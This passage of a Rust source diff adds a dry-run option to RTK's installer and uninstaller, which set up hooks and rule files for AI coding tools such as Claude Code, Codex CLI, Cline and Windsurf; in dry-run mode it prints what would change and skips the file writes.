removed.is_empty() { println!("RTK was not installed for Codex CLI (nothing to remove)"); } else { - println!("RTK uninstalled for Codex CLI:"); + let header = if dry_run { + "[dry-run] would uninstall RTK for Codex CLI:" + } else { + "RTK uninstalled for Codex CLI:" + }; + println!("{}", header); for item in removed { println!(" - {}", item); } + if dry_run { + print_dry_run_footer(); + } } Ok(()) } -fn uninstall_codex_at(codex_dir: &Path, verbose: u8) -> Result> { +fn uninstall_codex_at(codex_dir: &Path, verbose: u8, dry_run: bool) -> Result> { let mut removed = Vec::new(); let absolute_rtk_md_ref = codex_rtk_md_ref(codex_dir); let rtk_md_path = codex_dir.join(RTK_MD); if rtk_md_path.exists() { - fs::remove_file(&rtk_md_path) - .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; - if verbose > 0 { - eprintln!("Removed RTK.md: {}", rtk_md_path.display()); + if dry_run { + println!("[dry-run] would remove RTK.md: {}", rtk_md_path.display()); + } else { + fs::remove_file(&rtk_md_path) + .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; + if verbose > 0 { + eprintln!("Removed RTK.md: {}", rtk_md_path.display()); + } } removed.push(format!("RTK.md: {}", rtk_md_path.display())); } @@ -695,6 +815,7 @@ fn uninstall_codex_at(codex_dir: &Path, verbose: u8) -> Result> { &agents_md_path, &[RTK_MD_REF, absolute_rtk_md_ref.as_str()], verbose, + dry_run, )? { removed.push("AGENTS.md: removed @RTK.md reference".to_string()); } @@ -709,6 +830,7 @@ fn patch_settings_json_command( mode: PatchMode, verbose: u8, include_opencode: bool, + dry_run: bool, ) -> Result { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join(SETTINGS_JSON); @@ -743,7 +865,13 @@ fn patch_settings_json_command( return Ok(PatchResult::Skipped); } PatchMode::Ask => { - if !prompt_user_consent(&settings_path)? { + // Skip the interactive prompt in dry-run: we must not mutate state or block on stdin. + if dry_run { + println!( + "[dry-run] would prompt before patching {}", + settings_path.display() + ); + } else if !prompt_user_consent(&settings_path)? { print_manual_instructions(hook_command, include_opencode); return Ok(PatchResult::Declined); } @@ -755,6 +883,20 @@ fn patch_settings_json_command( insert_hook_entry(&mut root, hook_command)?; + let serialized = + serde_json::to_string_pretty(&root).context("Failed to serialize settings.json")?; + + if dry_run { + println!( + "[dry-run] would patch settings.json: {}", + settings_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", serialized); + } + return Ok(PatchResult::WouldPatch); + } + // Backup original if settings_path.exists() { let backup_path = settings_path.with_extension("json.bak"); @@ -766,8 +908,6 @@ fn patch_settings_json_command( } // Atomic write - let serialized = - serde_json::to_string_pretty(&root).context("Failed to serialize settings.json")?; atomic_write(&settings_path, &serialized)?; println!("\n settings.json: hook added"); @@ -878,11 +1018,12 @@ fn run_default_mode( _patch_mode: PatchMode, _verbose: u8, _install_opencode: bool, + _dry_run: bool, ) -> Result<()> { eprintln!("[warn] Hook-based mode requires Unix (macOS/Linux)."); eprintln!(" Windows: use --claude-md mode for full injection."); eprintln!(" Falling back to --claude-md mode."); - run_claude_md_mode(_global, _verbose, _install_opencode) + run_claude_md_mode(_global, _verbose, _install_opencode, _dry_run) } #[cfg(unix)] @@ -891,11 +1032,12 @@ fn run_default_mode( patch_mode: PatchMode, verbose: u8, install_opencode: bool, + dry_run: bool, ) -> Result<()> { if !global { // Local init: inject CLAUDE.md + generate project-local filters template - run_claude_md_mode(false, verbose, install_opencode)?; - generate_project_filters_template(verbose)?; + run_claude_md_mode(false, verbose, install_opencode, dry_run)?; + generate_project_filters_template(verbose, dry_run)?; return Ok(()); } @@ -904,62 +1046,78 @@ fn run_default_mode( let claude_md_path = claude_dir.join(CLAUDE_MD); // 1. Migrate old hook script if present - migrate_old_hook_script(verbose); + migrate_old_hook_script(verbose, dry_run); // 2. Write RTK.md - write_if_changed(&rtk_md_path, RTK_SLIM, RTK_MD, verbose)?; + write_if_changed(&rtk_md_path, RTK_SLIM, RTK_MD, verbose, dry_run)?; let opencode_plugin_path = if install_opencode { let path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&path, verbose)?; + ensure_opencode_plugin_installed(&path, verbose, dry_run)?; Some(path) } else { None }; // 3. Patch CLAUDE.md (add @RTK.md, migrate if needed) - let migrated = patch_claude_md(&claude_md_path, verbose)?; - - // 4. Print success message - println!("\nRTK hook registered (global).\n"); - println!(" Command: {}", CLAUDE_HOOK_COMMAND); - println!(" RTK.md: {} (10 lines)", rtk_md_path.display()); - if let Some(path) = &opencode_plugin_path { - println!(" OpenCode: {}", path.display()); - } - println!(" CLAUDE.md: @RTK.md reference added"); + let migrated = patch_claude_md(&claude_md_path, verbose, dry_run)?; + + // 4. Print success message (skip in dry-run) + if !dry_run { + println!("\nRTK hook registered (global).\n"); + println!(" Command: {}", CLAUDE_HOOK_COMMAND); + println!(" RTK.md: {} (10 lines)", rtk_md_path.display()); + if let Some(path) = &opencode_plugin_path { + println!(" OpenCode: {}", path.display()); + } + println!(" CLAUDE.md: @RTK.md reference added"); - if migrated { - println!("\n [ok] Migrated: removed 137-line RTK block from CLAUDE.md"); - println!(" replaced with @RTK.md (10 lines)"); + if migrated { + println!("\n [ok] Migrated: removed 137-line RTK block from CLAUDE.md"); + println!(" replaced with @RTK.md (10 lines)"); + } } // 5. Patch settings.json with binary command - let patch_result = - patch_settings_json_command(CLAUDE_HOOK_COMMAND, patch_mode, verbose, install_opencode)?; + let patch_result = patch_settings_json_command( + CLAUDE_HOOK_COMMAND, + patch_mode, + verbose, + install_opencode, + dry_run, + )?; // Report result - match patch_result { - PatchResult::Patched => { - // Already printed by patch_settings_json_command - } - PatchResult::AlreadyPresent => { - println!("\n settings.json: hook already present"); - if install_opencode { - println!(" Restart Claude Code and OpenCode. Test with: git status"); - } else { - println!(" Restart Claude Code. Test with: git status"); + if !dry_run { + match patch_result { + PatchResult::Patched => { + // Already printed by patch_settings_json_command + } + PatchResult::AlreadyPresent => { + println!("\n settings.json: hook already present"); + if install_opencode { + println!(" Restart Claude Code and OpenCode. Test with: git status"); + } else { + println!(" Restart Claude Code. Test with: git status"); + } + } + PatchResult::Declined | PatchResult::Skipped => { + // Manual instructions already printed + } + PatchResult::WouldPatch => { + // Cannot happen outside dry_run } - } - PatchResult::Declined | PatchResult::Skipped => { - // Manual instructions already printed } } // 6. Generate user-global filters template (~/.config/rtk/filters.toml) - generate_global_filters_template(verbose)?; + generate_global_filters_template(verbose, dry_run)?; - println!(); // Final newline + if dry_run { + print_dry_run_footer(); + } else { + println!(); // Final newline + } Ok(()) } @@ -968,14 +1126,19 @@ fn run_default_mode( /// Deletes `~/.claude/hooks/rtk-rewrite.sh` and `.rtk-hook.sha256` if present, /// and removes the stale settings.json entry so the new `rtk hook claude` entry /// can be registered. -fn migrate_old_hook_script(verbose: u8) { +fn migrate_old_hook_script(verbose: u8, dry_run: bool) { if let Some(home) = dirs::home_dir() { let old_hook = home .join(CLAUDE_DIR) .join(HOOKS_SUBDIR) .join(REWRITE_HOOK_FILE); if old_hook.exists() { - if let Err(e) = std::fs::remove_file(&old_hook) { + if dry_run { + println!( + "[dry-run] would migrate legacy hook script: {}", + old_hook.display() + ); + } else if let Err(e) = std::fs::remove_file(&old_hook) { if verbose > 0 { eprintln!(" [warn] Failed to remove old hook script: {e}"); } @@ -984,7 +1147,7 @@ fn migrate_old_hook_script(verbose: u8) { eprintln!(" [ok] Removed old hook script: {}", old_hook.display()); } // Clean up the stale settings.json entry that pointed to the deleted script - if let Err(e) = remove_legacy_settings_entries(verbose) { + if let Err(e) = remove_legacy_settings_entries(verbose, dry_run) { if verbose > 0 { eprintln!(" [warn] Failed to clean legacy settings.json entry: {e}"); } @@ -997,19 +1160,33 @@ fn migrate_old_hook_script(verbose: u8) { .join(HOOKS_SUBDIR) .join(".rtk-hook.sha256"); if hash_file.exists() { - let _ = std::fs::remove_file(&hash_file); + if dry_run { + println!( + "[dry-run] would remove legacy hash file: {}", + hash_file.display() + ); + } else { + let _ = std::fs::remove_file(&hash_file); + } } // Remove Cursor legacy hook let cursor_hook = home.join(".cursor").join("hooks").join(REWRITE_HOOK_FILE); if cursor_hook.exists() { - let _ = std::fs::remove_file(&cursor_hook); + if dry_run { + println!( + "[dry-run] would remove legacy Cursor hook: {}", + cursor_hook.display() + ); + } else { + let _ = std::fs::remove_file(&cursor_hook); + } } } } /// Remove only legacy `rtk-rewrite.sh` entries from settings.json. /// Preserves any existing `rtk hook claude` entries (new format). -fn remove_legacy_settings_entries(verbose: u8) -> Result<()> { +fn remove_legacy_settings_entries(verbose: u8, dry_run: bool) -> Result<()> { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join(SETTINGS_JSON); @@ -1030,6 +1207,14 @@ fn remove_legacy_settings_entries(verbose: u8) -> Result<()> { return Ok(()); } + if dry_run { + println!( + "[dry-run] would remove legacy rtk-rewrite.sh entry from {}", + settings_path.display() + ); + return Ok(()); + } + // Backup before modifying let backup_path = settings_path.with_extension("json.bak"); fs::copy(&settings_path, &backup_path) @@ -1078,7 +1263,7 @@ fn remove_legacy_hook_entries_from_json(root: &mut serde_json::Value) -> bool { } /// Generate .rtk/filters.toml template in the current directory if not present. -fn generate_project_filters_template(verbose: u8) -> Result<()> { +fn generate_project_filters_template(verbose: u8, dry_run: bool) -> Result<()> { let rtk_dir = std::path::Path::new(".rtk"); let path = rtk_dir.join("filters.toml"); @@ -1089,6 +1274,14 @@ fn generate_project_filters_template(verbose: u8) -> Result<()> { return Ok(()); } + if dry_run { + println!( + "[dry-run] would create .rtk/filters.toml template: {}", + path.display() + ); + return Ok(()); + } + fs::create_dir_all(rtk_dir) .with_context(|| format!("Failed to create directory: {}", rtk_dir.display()))?; fs::write(&path, FILTERS_TEMPLATE) @@ -1102,7 +1295,7 @@ fn generate_project_filters_template(verbose: u8) -> Result<()> { } /// Generate ~/.config/rtk/filters.toml template if not present. -fn generate_global_filters_template(verbose: u8) -> Result<()> { +fn generate_global_filters_template(verbose: u8, dry_run: bool) -> Result<()> { let config_dir = dirs::config_dir().unwrap_or_else(|| std::path::PathBuf::from(".config")); let rtk_dir = config_dir.join(crate::core::constants::RTK_DATA_DIR); let path = rtk_dir.join("filters.toml"); @@ -1114,6 +1307,14 @@ fn generate_global_filters_template(verbose: u8) -> Result<()> { return Ok(()); } + if dry_run { + println!( + "[dry-run] would create global filters template: {}", + path.display() + ); + return Ok(()); + } + fs::create_dir_all(&rtk_dir) .with_context(|| format!("Failed to create directory: {}", rtk_dir.display()))?; fs::write(&path, FILTERS_GLOBAL_TEMPLATE) @@ -1133,6 +1334,7 @@ fn run_hook_only_mode( _patch_mode: PatchMode, _verbose: u8, _install_opencode: bool, + _dry_run: bool, ) -> Result<()> { anyhow::bail!("Hook install requires Unix (macOS/Linux). Use WSL or --claude-md mode.") } @@ -1143,6 +1345,7 @@ fn run_hook_only_mode( patch_mode: PatchMode, verbose: u8, install_opencode: bool, + dry_run: bool, ) -> Result<()> { if !global { eprintln!("[warn] Warning: --hook-only only makes sense with --global"); @@ -1151,61 +1354,82 @@ fn run_hook_only_mode( } // Migrate old hook script if present - migrate_old_hook_script(verbose); + migrate_old_hook_script(verbose, dry_run); let opencode_plugin_path = if install_opencode { let path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&path, verbose)?; + ensure_opencode_plugin_installed(&path, verbose, dry_run)?; Some(path) } else { None }; - println!("\nRTK hook registered (hook-only mode).\n"); - println!(" Command: {}", CLAUDE_HOOK_COMMAND); - if let Some(path) = &opencode_plugin_path { - println!(" OpenCode: {}", path.display()); + if !dry_run { + println!("\nRTK hook registered (hook-only mode).\n"); + println!(" Command: {}", CLAUDE_HOOK_COMMAND); + if let Some(path) = &opencode_plugin_path { + println!(" OpenCode: {}", path.display()); + } + println!( + " Note: No RTK.md created. Claude won't know about meta commands (gain, discover, proxy)." + ); } - println!( - " Note: No RTK.md created. Claude won't know about meta commands (gain, discover, proxy)." - ); // Patch settings.json with binary command - let patch_result = - patch_settings_json_command(CLAUDE_HOOK_COMMAND, patch_mode, verbose, install_opencode)?; + let patch_result = patch_settings_json_command( + CLAUDE_HOOK_COMMAND, + patch_mode, + verbose, + install_opencode, + dry_run, + )?; // Report result - match patch_result { - PatchResult::Patched => { - // Already printed by patch_settings_json_command - } - PatchResult::AlreadyPresent => { - println!("\n settings.json: hook already present"); - if install_opencode { - println!(" Restart Claude Code and OpenCode. Test with: git status"); - } else { - println!(" Restart Claude Code. Test with: git status"); + if !dry_run { + match patch_result { + PatchResult::Patched => { + // Already printed by patch_settings_json_command + } + PatchResult::AlreadyPresent => { + println!("\n settings.json: hook already present"); + if install_opencode { + println!(" Restart Claude Code and OpenCode. Test with: git status"); + } else { + println!(" Restart Claude Code. Test with: git status"); + } + } + PatchResult::Declined | PatchResult::Skipped => { + // Manual instructions already printed + } + PatchResult::WouldPatch => { + // Cannot happen outside dry_run } - } - PatchResult::Declined | PatchResult::Skipped => { - // Manual instructions already printed } } - println!(); // Final newline + if dry_run { + print_dry_run_footer(); + } else { + println!(); // Final newline + } Ok(()) } /// Legacy mode: full 137-line injection into CLAUDE.md -fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Result<()> { +fn run_claude_md_mode( + global: bool, + verbose: u8, + install_opencode: bool, + dry_run: bool, +) -> Result<()> { let path = if global { resolve_claude_dir()?.join(CLAUDE_MD) } else { PathBuf::from(CLAUDE_MD) }; - if global { + if global && !dry_run { if let Some(parent) = path.parent() { fs::create_dir_all(parent)?; } @@ -1222,18 +1446,31 @@ fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Resu match action { RtkBlockUpsert::Added => { - fs::write(&path, new_content)?; - println!("[ok] Added rtk instructions to existing {}", path.display()); + if dry_run { + println!("[dry-run] would add rtk instructions to {}", path.display()); + } else { + fs::write(&path, new_content)?; + println!("[ok] Added rtk instructions to existing {}", path.display()); + } } RtkBlockUpsert::Updated => { - fs::write(&path, new_content)?; - println!("[ok] Updated rtk instructions in {}", path.display()); + if dry_run { + println!( + "[dry-run] would update rtk instructions in {}", + path.display() + ); + } else { + fs::write(&path, new_content)?; + println!("[ok] Updated rtk instructions in {}", path.display()); + } } RtkBlockUpsert::Unchanged => { - println!( - "[ok] {} already contains up-to-date rtk instructions", - path.display() - ); + if !dry_run { + println!( + "[ok] {} already contains up-to-date rtk instructions", + path.display() + ); + } return Ok(()); } RtkBlockUpsert::Malformed => { @@ -1259,6 +1496,11 @@ fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Resu return Ok(()); } } + } else if dry_run { + println!( + "[dry-run] would create {} with rtk instructions", + path.display() + ); } else { fs::write(&path, RTK_INSTRUCTIONS)?; println!("[ok] Created {} with rtk instructions", path.display()); @@ -1267,17 +1509,25 @@ fn run_claude_md_mode(global: bool, verbose: u8, install_opencode: bool) -> Resu if global { if install_opencode { let opencode_plugin_path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&opencode_plugin_path, verbose)?; - println!( - "[ok] OpenCode plugin installed: {}", - opencode_plugin_path.display() - ); + ensure_opencode_plugin_installed(&opencode_plugin_path, verbose, dry_run)?; + if !dry_run { + println!( + "[ok] OpenCode plugin installed: {}", + opencode_plugin_path.display() + ); + } } - println!(" Claude Code will now use rtk in all sessions"); - } else { + if !dry_run { + println!(" Claude Code will now use rtk in all sessions"); + } + } else if !dry_run { println!(" Claude Code will use rtk in this project"); } + if dry_run { + print_dry_run_footer(); + } + Ok(()) } @@ -1291,61 +1541,93 @@ const CLINE_RULES: &str = include_str!("../../hooks/cline/rules.md"); // ─── Cline / Roo Code support ───────────────────────────────── -fn run_cline_mode(verbose: u8) -> Result<()> { +fn run_cline_mode(verbose: u8, dry_run: bool) -> Result<()> { // Cline reads .clinerules from the project root (workspace-scoped) let rules_path = PathBuf::from(".clinerules"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Cline in this project.\n"); - println!(" Rules: .clinerules (already present)"); + if !dry_run { + println!("\nRTK already configured for Cline in this project.\n"); + println!(" Rules: .clinerules (already present)"); + } } else { let new_content = if existing.trim().is_empty() { CLINE_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), CLINE_RULES) }; - fs::write(&rules_path, &new_content).context("Failed to write .clinerules")?; + if dry_run { + println!( + "[dry-run] would write .clinerules: {}", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::write(&rules_path, &new_content).context("Failed to write .clinerules")?; - if verbose > 0 { - eprintln!("Wrote .clinerules"); - } + if verbose > 0 { + eprintln!("Wrote .clinerules"); + } - println!("\nRTK configured for Cline.\n"); - println!(" Rules: .clinerules (installed)"); + println!("\nRTK configured for Cline.\n"); + println!(" Rules: .clinerules (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Cline will now use rtk commands for token savings."); + println!(" Test with: git status\n"); } - println!(" Cline will now use rtk commands for token savings."); - println!(" Test with: git status\n"); Ok(()) } -fn run_windsurf_mode(verbose: u8) -> Result<()> { +fn run_windsurf_mode(verbose: u8, dry_run: bool) -> Result<()> { // Windsurf reads .windsurfrules from the project root (workspace-scoped). // Global rules (~/.codeium/windsurf/memories/global_rules.md) are unreliable. let rules_path = PathBuf::from(".windsurfrules"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Windsurf in this project.\n"); - println!(" Rules: .windsurfrules (already present)"); + if !dry_run { + println!("\nRTK already configured for Windsurf in this project.\n"); + println!(" Rules: .windsurfrules (already present)"); + } } else { let new_content = if existing.trim().is_empty() { WINDSURF_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), WINDSURF_RULES) }; - fs::write(&rules_path, &new_content).context("Failed to write .windsurfrules")?; + if dry_run { + println!( + "[dry-run] would write .windsurfrules: {}", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::write(&rules_path, &new_content).context("Failed to write .windsurfrules")?; - if verbose > 0 { - eprintln!("Wrote .windsurfrules"); - } + if verbose > 0 { + eprintln!("Wrote .windsurfrules"); + } - println!("\nRTK configured for Windsurf Cascade.\n"); - println!(" Rules: .windsurfrules (installed)"); + println!("\nRTK configured for Windsurf Cascade.\n"); + println!(" Rules: .windsurfrules (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Cascade will now use rtk commands for token savings."); + println!(" Restart Windsurf. Test with: git status\n"); } - println!(" Cascade will now use rtk commands for token savings."); - println!(" Restart Windsurf. Test with: git status\n"); Ok(()) } @@ -1354,38 +1636,55 @@ fn run_windsurf_mode(verbose: u8) -> Result<()> { const KILOCODE_RULES: &str = include_str!("../../hooks/kilocode/rules.md"); -pub fn run_kilocode_mode(verbose: u8) -> Result<()> { - run_kilocode_mode_at(&std::env::current_dir()?, verbose) +pub fn run_kilocode_mode(verbose: u8, dry_run: bool) -> Result<()> { + run_kilocode_mode_at(&std::env::current_dir()?, verbose, dry_run) } -fn run_kilocode_mode_at(base_dir: &Path, verbose: u8) -> Result<()> { +fn run_kilocode_mode_at(base_dir: &Path, verbose: u8, dry_run: bool) -> Result<()> { // Kilo Code reads .kilocode/rules/ from the project root (workspace-scoped) let target_dir = base_dir.join(".kilocode/rules"); let rules_path = target_dir.join("rtk-rules.md"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Kilo Code in this project.\n"); - println!(" Rules: .kilocode/rules/rtk-rules.md (already present)"); + if !dry_run { + println!("\nRTK already configured for Kilo Code in this project.\n"); + println!(" Rules: .kilocode/rules/rtk-rules.md (already present)"); + } } else { - fs::create_dir_all(&target_dir).context("Failed to create .kilocode/rules directory")?; let new_content = if existing.trim().is_empty() { KILOCODE_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), KILOCODE_RULES) }; - fs::write(&rules_path, &new_content) - .context("Failed to write .kilocode/rules/rtk-rules.md")?; + if dry_run { + println!( + "[dry-run] would write {}: (and create parent dir if missing)", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::create_dir_all(&target_dir) + .context("Failed to create .kilocode/rules directory")?; + fs::write(&rules_path, &new_content) + .context("Failed to write .kilocode/rules/rtk-rules.md")?; - if verbose > 0 { - eprintln!("Wrote .kilocode/rules/rtk-rules.md"); - } + if verbose > 0 { + eprintln!("Wrote .kilocode/rules/rtk-rules.md"); + } - println!("\nRTK configured for Kilo Code.\n"); - println!(" Rules: .kilocode/rules/rtk-rules.md (installed)"); + println!("\nRTK configured for Kilo Code.\n"); + println!(" Rules: .kilocode/rules/rtk-rules.md (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Kilo Code will now use rtk commands for token savings."); + println!(" Test with: git status\n"); } - println!(" Kilo Code will now use rtk commands for token savings."); - println!(" Test with: git status\n"); Ok(()) } @@ -1394,43 +1693,59 @@ fn run_kilocode_mode_at(base_dir: &Path, verbose: u8) -> Result<()> { const ANTIGRAVITY_RULES: &str = include_str!("../../hooks/antigravity/rules.md"); -pub fn run_antigravity_mode(verbose: u8) -> Result<()> { - run_antigravity_mode_at(&std::env::current_dir()?, verbose) +pub fn run_antigravity_mode(verbose: u8, dry_run: bool) -> Result<()> { + run_antigravity_mode_at(&std::env::current_dir()?, verbose, dry_run) } -fn run_antigravity_mode_at(base_dir: &Path, verbose: u8) -> Result<()> { +fn run_antigravity_mode_at(base_dir: &Path, verbose: u8, dry_run: bool) -> Result<()> { // Antigravity reads .agents/rules/ from the project root (workspace-scoped) let target_dir = base_dir.join(".agents/rules"); let rules_path = target_dir.join("antigravity-rtk-rules.md"); let existing = fs::read_to_string(&rules_path).unwrap_or_default(); if existing.contains("RTK") || existing.contains("rtk") { - println!("\nRTK already configured for Antigravity in this project.\n"); - println!(" Rules: .agents/rules/antigravity-rtk-rules.md (already present)"); + if !dry_run { + println!("\nRTK already configured for Antigravity in this project.\n"); + println!(" Rules: .agents/rules/antigravity-rtk-rules.md (already present)"); + } } else { - fs::create_dir_all(&target_dir).context("Failed to create .agents/rules directory")?; let new_content = if existing.trim().is_empty() { ANTIGRAVITY_RULES.to_string() } else { format!("{}\n\n{}", existing.trim(), ANTIGRAVITY_RULES) }; - fs::write(&rules_path, &new_content) - .context("Failed to write .agents/rules/antigravity-rtk-rules.md")?; + if dry_run { + println!( + "[dry-run] would write {}: (and create parent dir if missing)", + rules_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::create_dir_all(&target_dir).context("Failed to create .agents/rules directory")?; + fs::write(&rules_path, &new_content) + .context("Failed to write .agents/rules/antigravity-rtk-rules.md")?; - if verbose > 0 { - eprintln!("Wrote .agents/rules/antigravity-rtk-rules.md"); - } + if verbose > 0 { + eprintln!("Wrote .agents/rules/antigravity-rtk-rules.md"); + } - println!("\nRTK configured for Google Antigravity.\n"); - println!(" Rules: .agents/rules/antigravity-rtk-rules.md (installed)"); + println!("\nRTK configured for Google Antigravity.\n"); + println!(" Rules: .agents/rules/antigravity-rtk-rules.md (installed)"); + } + } + if dry_run { + print_dry_run_footer(); + } else { + println!(" Antigravity will now use rtk commands for token savings."); + println!(" Test with: git status\n"); } - println!(" Antigravity will now use rtk commands for token savings."); - println!(" Test with: git status\n"); Ok(()) } -fn run_codex_mode(global: bool, verbose: u8) -> Result<()> { +fn run_codex_mode(global: bool, verbose: u8, dry_run: bool) -> Result<()> { let (agents_md_path, rtk_md_path) = if global { let codex_dir = resolve_codex_dir()?; (codex_dir.join(AGENTS_MD), codex_dir.join(RTK_MD)) @@ -1438,7 +1753,7 @@ fn run_codex_mode(global: bool, verbose: u8) -> Result<()> { (PathBuf::from(AGENTS_MD), PathBuf::from(RTK_MD)) }; - run_codex_mode_with_paths(agents_md_path, rtk_md_path, global, verbose) + run_codex_mode_with_paths(agents_md_path, rtk_md_path, global, verbose, dry_run) } fn run_codex_mode_with_paths( @@ -1446,8 +1761,9 @@ fn run_codex_mode_with_paths( rtk_md_path: PathBuf, global: bool, verbose: u8, + dry_run: bool, ) -> Result<()> { - if global { + if global && !dry_run { if let Some(parent) = agents_md_path.parent() { fs::create_dir_all(parent).with_context(|| { format!( @@ -1471,26 +1787,30 @@ fn run_codex_mode_with_paths( RTK_MD_REF.to_string() }; - write_if_changed(&rtk_md_path, RTK_SLIM_CODEX, RTK_MD, verbose)?; - let added_ref = patch_agents_md(&agents_md_path, &rtk_md_ref, verbose)?; + write_if_changed(&rtk_md_path, RTK_SLIM_CODEX, RTK_MD, verbose, dry_run)?; + let added_ref = patch_agents_md(&agents_md_path, &rtk_md_ref, verbose, dry_run)?; - println!("\nRTK configured for Codex CLI.\n"); - println!(" RTK.md: {}", rtk_md_path.display()); - if added_ref { - println!(" AGENTS.md: {} reference added", rtk_md_ref); - } else { - println!(" AGENTS.md: {} reference already present", rtk_md_ref); - } - if global { - println!( - "\n Codex global instructions path: {}", - agents_md_path.display() - ); + if !dry_run { + println!("\nRTK configured for Codex CLI.\n"); + println!(" RTK.md: {}", rtk_md_path.display()); + if added_ref { + println!(" AGENTS.md: {} reference added", rtk_md_ref); + } else { + println!(" AGENTS.md: {} reference already present", rtk_md_ref); + } + if global { + println!( + "\n Codex global instructions path: {}", + agents_md_path.display() + ); + } else { + println!( + "\n Codex project instructions path: {}", + agents_md_path.display() + ); + } } else { - println!( - "\n Codex project instructions path: {}", - agents_md_path.display() - ); + print_dry_run_footer(); } Ok(()) @@ -1560,7 +1880,7 @@ fn upsert_rtk_block(content: &str, block: &str) -> (String, RtkBlockUpsert) { } /// Patch CLAUDE.md: add @RTK.md, migrate if old block exists -fn patch_claude_md(path: &Path, verbose: u8) -> Result { +fn patch_claude_md(path: &Path, verbose: u8, dry_run: bool) -> Result { let mut content = if path.exists() { fs::read_to_string(path)? } else { @@ -1587,7 +1907,14 @@ fn patch_claude_md(path: &Path, verbose: u8) -> Result { eprintln!("@RTK.md reference already present in CLAUDE.md"); } if migrated { - fs::write(path, content)?; + if dry_run { + println!( + "[dry-run] would migrate old RTK block in CLAUDE.md: {}", + path.display() + ); + } else { + fs::write(path, content)?; + } } return Ok(migrated); } @@ -1599,17 +1926,27 @@ fn patch_claude_md(path: &Path, verbose: u8) -> Result { format!("{}\n\n@RTK.md\n", content.trim()) }; - fs::write(path, new_content)?; + if dry_run { + println!( + "[dry-run] would add @RTK.md reference to CLAUDE.md: {}", + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + fs::write(path, new_content)?; - if verbose > 0 { - eprintln!("Added @RTK.md reference to CLAUDE.md"); + if verbose > 0 { + eprintln!("Added @RTK.md reference to CLAUDE.md"); + } } Ok(migrated) } /// Patch AGENTS.md: add @RTK.md (or absolute path), migrate old inline block if present -fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8) -> Result { +fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8, dry_run: bool) -> Result { let mut content = if path.exists() { fs::read_to_string(path) .with_context(|| format!("Failed to read AGENTS.md: {}", path.display()))? @@ -1638,16 +1975,32 @@ fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8) -> Result { if rtk_md_ref != RTK_MD_REF && content.contains(RTK_MD_REF) && !content.contains(rtk_md_ref) { content = content.replace(RTK_MD_REF, rtk_md_ref); - atomic_write(path, &content) - .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; - if verbose > 0 { - eprintln!("Migrated {} to {}", RTK_MD_REF, rtk_md_ref); + if dry_run { + println!( + "[dry-run] would migrate {} to {} in {}", + RTK_MD_REF, + rtk_md_ref, + path.display() + ); + } else { + atomic_write(path, &content) + .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + if verbose > 0 { + eprintln!("Migrated {} to {}", RTK_MD_REF, rtk_md_ref); + } } return Ok(true); } if migrated { - atomic_write(path, &content) - .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + if dry_run { + println!( + "[dry-run] would write migrated AGENTS.md: {}", + path.display() + ); + } else { + atomic_write(path, &content) + .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + } } return Ok(false); } @@ -1658,10 +2011,21 @@ fn patch_agents_md(path: &Path, rtk_md_ref: &str, verbose: u8) -> Result { format!("{}\n\n{}\n", content.trim(), rtk_md_ref) }; - atomic_write(path, &new_content) - .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; - if verbose > 0 { - eprintln!("Added {} reference to AGENTS.md", rtk_md_ref); + if dry_run { + println!( + "[dry-run] would add {} reference to AGENTS.md: {}", + rtk_md_ref, + path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", new_content); + } + } else { + atomic_write(path, &new_content) + .with_context(|| format!("Failed to write AGENTS.md: {}", path.display()))?; + if verbose > 0 { + eprintln!("Added {} reference to AGENTS.md", rtk_md_ref); + } } Ok(true) @@ -1674,7 +2038,12 @@ fn has_rtk_reference(content: &str, refs: &[&str]) -> bool { .any(|line| refs.contains(&line)) } -fn remove_rtk_reference_from_agents(path: &Path, refs: &[&str], verbose: u8) -> Result { +fn remove_rtk_reference_from_agents( + path: &Path, + refs: &[&str], + verbose: u8, + dry_run: bool, +) -> Result { if !path.exists() { return Ok(false); } @@ -1694,6 +2063,18 @@ fn remove_rtk_reference_from_agents(path: &Path, refs: &[&str], verbose: u8) -> .collect::>() .join("\n"); let cleaned = clean_double_blanks(&new_content); + + if dry_run { + println!( + "[dry-run] would remove RTK.md reference from AGENTS.md: {}", + path.display() + ); + if verbose > 0 { + 